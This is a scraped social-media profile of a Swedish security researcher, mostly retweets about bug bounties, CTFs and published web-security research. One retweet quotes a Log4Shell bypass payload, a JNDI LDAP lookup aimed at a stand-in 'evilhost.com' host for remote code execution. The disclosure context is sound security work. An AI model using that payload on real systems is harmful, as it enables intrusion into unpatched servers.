@almroot

Co-Founder & Security Researcher at @detectify. I code things to hack stuff. PGP/MIT: 0xEDF8D9828B06A7F7 #shellpopper

 Sweden
detectify.com/
Joined November 2011
  • Tweets918
  • Following660
  • Followers3.5K
28Media
Fredrik N. Almroth retweeted
HackingForSoju@HackingForSoju6 Apr 2023
🇸🇪Midnight Sun CTF is back for it's 6th straight year! Registration is open here: midnightsunctf.com/ 🏆Qualifiers will run from 08 April, 2023 11:00 UTC -- 09 April, 2023 11:00 UTC 🥇On-site finals are on 18 August. As always check ctftime.org for details
5
21
4,051
OpenSSL 3.0.7 is out. TL&DR: Punycode issue with international domains used in certs. Needs CA to sign malicious cert. Doesn't look like a "huge deal" IMHO. Relax.. Patch.. Repeat... #openssl
3
96
5
218
Fredrik N. Almroth retweeted
SEC-T@SEC_T_org18 Sep 2022
Recording of “JavaScript Prototype Poisoning, an unexplored bug-class, and it’s everywhere“ by Christoffer Jerkeby & Anton Linné is up: youtube.com/watch?v=VSZCyTsI… youtube.com/watch?v=VSZCyTsI…
9
21
Fredrik N. Almroth retweeted
STÖK ✌️
@stokfredrik19 Sep 2022
How to turn bugs into a "passive" income stream! ft @detectify’s @almroot youtu.be/oHhofSj9lEM #cybersecurity #bugbounty
3
35
126
Fredrik N. Almroth retweeted
Frans Rosén@fransrosen2 Aug 2022
I was finally able to disclose one of the examples from my last blog post labs.detectify.com/2022/07/0… Here's the PoC-movie from the report to Reddit:
publiclyDisclosed@disclosedh12 Aug 2022
Reddit disclosed a bug submitted by fransrosen: hackerone.com/reports/156718… - Bounty: $10,000 #hackerone #bugbounty
11
103
3
416
Fredrik N. Almroth retweeted
Frans Rosén@fransrosen6 Jul 2022
I decided to make a homage-post to @homakov and @Nirgoldshlager about different OAuth-token leakage methods I've been researching – ten years after their blog posts that inspired me to start hunt for bugs ♥️ thank you. labs.detectify.com/2022/07/0…

Account hijacking using "dirty dancing" in sign-in OAuth-flows

Combining response-type switching, invalid state and redirect-uri quirks using OAuth, with third-party javascript-inclusions has multiple vulnerable scenarios where authorization codes or tokens...

labs.detectify.com
20
370
12
970
Fredrik N. Almroth retweeted
STÖK ✌️
@stokfredrik25 Apr 2022
Had a great conversation about @detectify ‘s crowdsource program with @almroot today in the studio. Def a interesting way of creating a passive income flow, submit a finding, preferably unauth, get it verified and get paid every time it hits / fires on any of their customers!
2
2
1
26
Fredrik N. Almroth retweeted
shubs
@infosec_au8 Apr 2022
Bypassing CDN WAF’s with Alternate Domain Routing blog.ryanjarv.sh/2022/03/16/…
11
108
4
316
Fredrik N. Almroth retweeted
James Kettle
@albinowax21 Jan 2022
Just three days remaining to cast your vote for the top 10 hacking techniques of 2021! Massive thanks to everyone who has already taken part; more voters means higher quality results. portswigger.net/polls/top-10…

Top 10 web hacking techniques of 2021

Welcome to the community vote for the Top 10 Web Hacking Techniques of 2021.

portswigger.net
3
25
106
Fredrik N. Almroth retweeted
shubs
@infosec_au26 Dec 2021
Damn. This is really cool. Achieving RCE via LFI using Nginx as a way to upload a temporary file, even when PHP is hardened so other techniques will fail - bierbaumer.net/security/php-…
6
234
6
765
Fredrik N. Almroth retweeted
Márcio Almeida@marcioalm17 Dec 2021
FIX: Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual. #Log4Shell 1/n
15
365
52
964
Fredrik N. Almroth retweeted
What a week, huh? all Wednesdays@whataweekhuh15 Dec 2021
136
18,718
1,288
94,420
Fredrik N. Almroth retweeted
bNamed@bNamed23 Nov 2021
Whole .cd zone down due to expired .net domain name (again) bn.md/cd-down @almroot
1
1
1
2
Fredrik N. Almroth retweeted
Frans Rosén@fransrosen13 Sep 2021
I found some permission issues when hacking Apple CloudKit. I wrote about three of them @detectify labs, one where I accidentally deleted all shared Apple Shortcuts. labs.detectify.com/2021/09/1…
Shortcut Not Found-alert

ALT Shortcut Not Found-alert

17
182
41
735
Fredrik N. Almroth retweeted
Intigriti
@intigriti11 Sep 2021
Alternate data streams sound like this 🤯 to you? Well, thankfully we have @almroot jumping in to help, telling us how to leak source code or bypass authentication with that 🦀 #bugbountytips 👇
2
69
2
266
HTTP/2: The Sequel is Always Worse by @albinowax portswigger.net/research/htt…

HTTP/2: The Sequel is Always Worse

In this research paper James Kettle introduces multiple new classes of HTTP/2-exclusive attacks, demonstrated on popular websites and servers.

portswigger.net
12
473
31
994
Fredrik N. Almroth retweeted
Romain Cayre@CayreRomain30 Jun 2021
I just released RadioSploit, an Android application allowing to sniff and inject Zigbee,Mosart and Enhanced ShockBurst packets from a Samsung Galaxy S20 smartphone without requiring any additional hardware:it diverts the Bluetooth controller to add new offensive capabilities.1/14
4
125
6
312
Fredrik N. Almroth retweeted
Frans Rosén@fransrosen18 Feb 2021
We did some fun tricks with nginx on bug bounties a while back, and made a post about out the configurations being vulnerable labs.detectify.com/2021/02/1…

Middleware, middleware everywhere - and lots of misconfigurations to fix

We found some interesting middleware misconfigurations and potential exploits affecting Nginx web servers, load balancers, and proxies.

labs.detectify.com
8
238
5
532
Fredrik N. Almroth retweeted
Rey Bango
@reybango18 Jan 2021
I really miss in-person conferences. 😔
17
12
5
184
Fredrik N. Almroth retweeted
Detectify@detectify10 Nov 2020
Nginx, the webserver behind 1/3 of all websites in the world! Detectify Crowdsource detected some common misconfigurations that, if left unchecked, leave your website vulnerable to attack. Here’s how to find some of them before an attacker does > blog.detectify.com/2020/11/1… #appsec
29
81
Load more